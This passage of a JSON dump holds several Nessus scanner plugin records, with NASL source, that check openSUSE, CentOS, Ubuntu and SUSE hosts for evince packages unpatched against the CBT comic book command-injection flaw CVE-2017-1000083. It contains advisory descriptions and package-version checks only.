value:\"p-cpe:/a:novell:opensuse:evince-plugin-tiffdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-tiffdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-xpsdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-xpsdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libevdocument3-4\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libevdocument3-4-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libevview3-3\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libevview3-3-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:nautilus-evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:nautilus-evince-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:typelib-1_0-EvinceDocument-3_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:typelib-1_0-EvinceView-3_0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:42.2\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/09/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/07/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/26\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE42\\.2)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"42.2\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(x86_64)$\") audit(AUDIT_ARCH_NOT, \"x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-browser-plugin-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-browser-plugin-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-debugsource-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-devel-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-lang-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-comicsdocument-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-comicsdocument-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-djvudocument-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-djvudocument-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-dvidocument-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-dvidocument-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-pdfdocument-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-pdfdocument-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-psdocument-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-psdocument-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-tiffdocument-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-tiffdocument-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-xpsdocument-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"evince-plugin-xpsdocument-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"libevdocument3-4-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"libevdocument3-4-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"libevview3-3-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"libevview3-3-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"nautilus-evince-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"nautilus-evince-debuginfo-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"typelib-1_0-EvinceDocument-3_0-3.20.1-2.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE42.2\", reference:\"typelib-1_0-EvinceView-3_0-3.20.1-2.3.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"evince / evince-browser-plugin / evince-browser-plugin-debuginfo / etc\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-06T09:31:34", "description": "An update for evince is now available for Red Hat Enterprise Linux 7.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe evince packages provide a simple multi-page document viewer for\nPortable Document Format (PDF), PostScript (PS), Encapsulated\nPostScript (EPS) files, and, with additional back-ends, also the\nDevice Independent File format (DVI) files.\n\nSecurity Fix(es) :\n\n* It was found that evince did not properly sanitize the command line\nwhich is run to untar Comic Book Tar (CBT) files, thereby allowing\ncommand injection. A specially crafted CBT file, when opened by evince\nor evince-thumbnailer, could execute arbitrary commands in the context\nof the evince program. (CVE-2017-1000083)\n\nRed Hat would like to thank Felix Wilhelm (Google Security Team) for\nreporting this issue.", "edition": 31, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-08-25T00:00:00", "title": "CentOS 7 : evince (CESA-2017:2388)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "modified": "2017-08-25T00:00:00", "cpe": ["p-cpe:/a:centos:centos:evince-libs", "cpe:/o:centos:centos:7", "p-cpe:/a:centos:centos:evince", "p-cpe:/a:centos:centos:evince-dvi", "p-cpe:/a:centos:centos:evince-browser-plugin", "p-cpe:/a:centos:centos:evince-nautilus", "p-cpe:/a:centos:centos:evince-devel"], "id": "CENTOS_RHSA-2017-2388.NASL", "href": "https://www.tenable.com/plugins/nessus/102761", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2017:2388 and \n# CentOS Errata and Security Advisory 2017:2388 respectively.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(102761);\n script_version(\"3.11\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/04\");\n\n script_cve_id(\"CVE-2017-1000083\");\n script_xref(name:\"RHSA\", value:\"2017:2388\");\n\n script_name(english:\"CentOS 7 : evince (CESA-2017:2388)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote CentOS host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"An update for evince is now available for Red Hat Enterprise Linux 7.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe evince packages provide a simple multi-page document viewer for\nPortable Document Format (PDF), PostScript (PS), Encapsulated\nPostScript (EPS) files, and, with additional back-ends, also the\nDevice Independent File format (DVI) files.\n\nSecurity Fix(es) :\n\n* It was found that evince did not properly sanitize the command line\nwhich is run to untar Comic Book Tar (CBT) files, thereby allowing\ncommand injection. A specially crafted CBT file, when opened by evince\nor evince-thumbnailer, could execute arbitrary commands in the context\nof the evince program. (CVE-2017-1000083)\n\nRed Hat would like to thank Felix Wilhelm (Google Security Team) for\nreporting this issue.\"\n );\n # https://lists.centos.org/pipermail/centos-cr-announce/2017-August/004654.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?ea3eeef0\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected evince packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2017-1000083\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:evince-browser-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:evince-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:evince-dvi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:evince-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:evince-nautilus\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:centos:centos:7\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/09/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/08/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/08/25\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"CentOS Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/CentOS/release\", \"Host/CentOS/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/CentOS/release\");\nif (isnull(release) || \"CentOS\" >!< release) audit(AUDIT_OS_NOT, \"CentOS\");\nos_ver = pregmatch(pattern: \"CentOS(?: Linux)? release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"CentOS\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^7([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"CentOS 7.x\", \"CentOS \" + os_ver);\n\nif (!get_kb_item(\"Host/CentOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"CentOS\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"evince-3.22.1-5.2.el7_4\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"evince-browser-plugin-3.22.1-5.2.el7_4\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"evince-devel-3.22.1-5.2.el7_4\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"evince-dvi-3.22.1-5.2.el7_4\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"evince-libs-3.22.1-5.2.el7_4\")) flag++;\nif (rpm_check(release:\"CentOS-7\", cpu:\"x86_64\", reference:\"evince-nautilus-3.22.1-5.2.el7_4\")) flag++;\n\n\nif (flag)\n{\n cr_plugin_caveat = '\\n' +\n 'NOTE: The security advisory associated with this vulnerability has a\\n' +\n 'fixed package version that may only be available in the continuous\\n' +\n 'release (CR) repository for CentOS, until it is present in the next\\n' +\n 'point release of CentOS.\\n\\n' +\n\n 'If an equal or higher package level does not exist in the baseline\\n' +\n 'repository for your major version of CentOS, then updates from the CR\\n' +\n 'repository will need to be applied in order to address the\\n' +\n 'vulnerability.\\n';\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + cr_plugin_caveat\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"evince / evince-browser-plugin / evince-devel / evince-dvi / etc\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-01T06:45:29", "description": "Felix Wilhelm discovered that Evince did not safely invoke tar when\nhandling tar comic book (cbt) files. An attacker could use this to\nconstruct a malicious cbt comic book format file that, when opened in\nEvince, executes arbitrary code. Please note that this update disables\nsupport for cbt files in Evince.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 31, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-07-14T00:00:00", "title": "Ubuntu 14.04 LTS / 16.04 LTS / 16.10 / 17.04 : evince vulnerability (USN-3351-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "modified": "2021-01-02T00:00:00", "cpe": ["cpe:/o:canonical:ubuntu_linux:17.04", "p-cpe:/a:canonical:ubuntu_linux:evince", "cpe:/o:canonical:ubuntu_linux:16.04", "p-cpe:/a:canonical:ubuntu_linux:evince-common", "cpe:/o:canonical:ubuntu_linux:16.10", "cpe:/o:canonical:ubuntu_linux:14.04"], "id": "UBUNTU_USN-3351-1.NASL", "href": "https://www.tenable.com/plugins/nessus/101545", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-3351-1. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(101545);\n script_version(\"3.11\");\n script_cvs_date(\"Date: 2019/09/18 12:31:47\");\n\n script_cve_id(\"CVE-2017-1000083\");\n script_xref(name:\"USN\", value:\"3351-1\");\n\n script_name(english:\"Ubuntu 14.04 LTS / 16.04 LTS / 16.10 / 17.04 : evince vulnerability (USN-3351-1)\");\n script_summary(english:\"Checks dpkg output for updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Ubuntu host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Felix Wilhelm discovered that Evince did not safely invoke tar when\nhandling tar comic book (cbt) files. An attacker could use this to\nconstruct a malicious cbt comic book format file that, when opened in\nEvince, executes arbitrary code. Please note that this update disables\nsupport for cbt files in Evince.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/3351-1/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected evince and / or evince-common packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:evince-common\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:14.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.10\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:17.04\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/09/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/07/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/14\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2017-2019 Canonical, Inc. / NASL script (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"misc_func.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(14\\.04|16\\.04|16\\.10|17\\.04)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 14.04 / 16.04 / 16.10 / 17.04\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nflag = 0;\n\nif (ubuntu_check(osver:\"14.04\", pkgname:\"evince\", pkgver:\"3.10.3-0ubuntu10.3\")) flag++;\nif (ubuntu_check(osver:\"14.04\", pkgname:\"evince-common\", pkgver:\"3.10.3-0ubuntu10.3\")) flag++;\nif (ubuntu_check(osver:\"16.04\", pkgname:\"evince\", pkgver:\"3.18.2-1ubuntu4.1\")) flag++;\nif (ubuntu_check(osver:\"16.04\", pkgname:\"evince-common\", pkgver:\"3.18.2-1ubuntu4.1\")) flag++;\nif (ubuntu_check(osver:\"16.10\", pkgname:\"evince\", pkgver:\"3.22.0-0ubuntu1.1\")) flag++;\nif (ubuntu_check(osver:\"16.10\", pkgname:\"evince-common\", pkgver:\"3.22.0-0ubuntu1.1\")) flag++;\nif (ubuntu_check(osver:\"17.04\", pkgname:\"evince\", pkgver:\"3.24.0-0ubuntu1.1\")) flag++;\nif (ubuntu_check(osver:\"17.04\", pkgname:\"evince-common\", pkgver:\"3.24.0-0ubuntu1.1\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"evince / evince-common\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T14:26:03", "description": "This update for evince fixes the following issues :\n\n - CVE-2017-1000083: Remote attackers could have used the\n comicbook mode of evince to inject shell code.\n (bsc#1046856, bgo#784630)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 32, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-07-19T00:00:00", "title": "SUSE SLED12 Security Update : evince (SUSE-SU-2017:1893-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "modified": "2017-07-19T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:libevview3", "p-cpe:/a:novell:suse_linux:libevdocument3-4-debuginfo", "cpe:/o:novell:suse_linux:12", "p-cpe:/a:novell:suse_linux:evince-debuginfo", "p-cpe:/a:novell:suse_linux:evince", "p-cpe:/a:novell:suse_linux:libevview3-3-debuginfo", "p-cpe:/a:novell:suse_linux:evince-plugin-djvudocument", "p-cpe:/a:novell:suse_linux:nautilus-evince", "p-cpe:/a:novell:suse_linux:libevdocument3", "p-cpe:/a:novell:suse_linux:typelib-1_0-EvinceDocument", "p-cpe:/a:novell:suse_linux:evince-plugin-tiffdocument-debuginfo", "p-cpe:/a:novell:suse_linux:evince-browser-plugin", "p-cpe:/a:novell:suse_linux:evince-plugin-pdfdocument-debuginfo", "p-cpe:/a:novell:suse_linux:evince-plugin-psdocument", "p-cpe:/a:novell:suse_linux:evince-plugin-dvidocument", "p-cpe:/a:novell:suse_linux:evince-plugin-djvudocument-debuginfo", "p-cpe:/a:novell:suse_linux:evince-plugin-dvidocument-debuginfo", "p-cpe:/a:novell:suse_linux:evince-plugin-xpsdocument", "p-cpe:/a:novell:suse_linux:evince-plugin-xpsdocument-debuginfo", "p-cpe:/a:novell:suse_linux:nautilus-evince-debuginfo", "p-cpe:/a:novell:suse_linux:evince-debugsource", "p-cpe:/a:novell:suse_linux:evince-plugin-pdfdocument", "p-cpe:/a:novell:suse_linux:evince-plugin-psdocument-debuginfo", "p-cpe:/a:novell:suse_linux:evince-plugin-tiffdocument", "p-cpe:/a:novell:suse_linux:evince-browser-plugin-debuginfo", "p-cpe:/a:novell:suse_linux:typelib-1_0-EvinceView"], "id": "SUSE_SU-2017-1893-1.NASL", "href": "https://www.tenable.com/plugins/nessus/101807", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2017:1893-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(101807);\n script_version(\"3.12\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2017-1000083\");\n\n script_name(english:\"SUSE SLED12 Security Update : evince (SUSE-SU-2017:1893-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for evince fixes the following issues :\n\n - CVE-2017-1000083: Remote attackers could have used the\n comicbook mode of evince to inject shell code.\n (bsc#1046856, bgo#784630)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1046856\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2017-1000083/\"\n );\n # https://www.suse.com/support/update/announcement/2017/suse-su-20171893-1/\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?e5bfbeb5\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"To install this SUSE Security Update use YaST online_update.\nAlternatively you can run the command listed for your product :\n\nSUSE Linux Enterprise Workstation Extension 12-SP2:zypper in -t patch\nSUSE-SLE-WE-12-SP2-2017-1171=1\n\nSUSE Linux Enterprise Software Development Kit 12-SP2:zypper in -t\npatch SUSE-SLE-SDK-12-SP2-2017-1171=1\n\nSUSE Linux Enterprise Server for Raspberry Pi 12-SP2:zypper in -t\npatch SUSE-SLE-RPI-12-SP2-2017-1171=1\n\nSUSE Linux Enterprise Server 12-SP2:zypper in -t patch\nSUSE-SLE-SERVER-12-SP2-2017-1171=1\n\nSUSE Linux Enterprise Desktop 12-SP2:zypper in -t patch\nSUSE-SLE-DESKTOP-12-SP2-2017-1171=1\n\nTo bring your system up-to-date, use 'zypper patch'.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-browser-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-browser-plugin-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-djvudocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-djvudocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-dvidocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-dvidocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-plugin-pdfdocument\");\n script_set_attribute(attribute:\"cpe\", 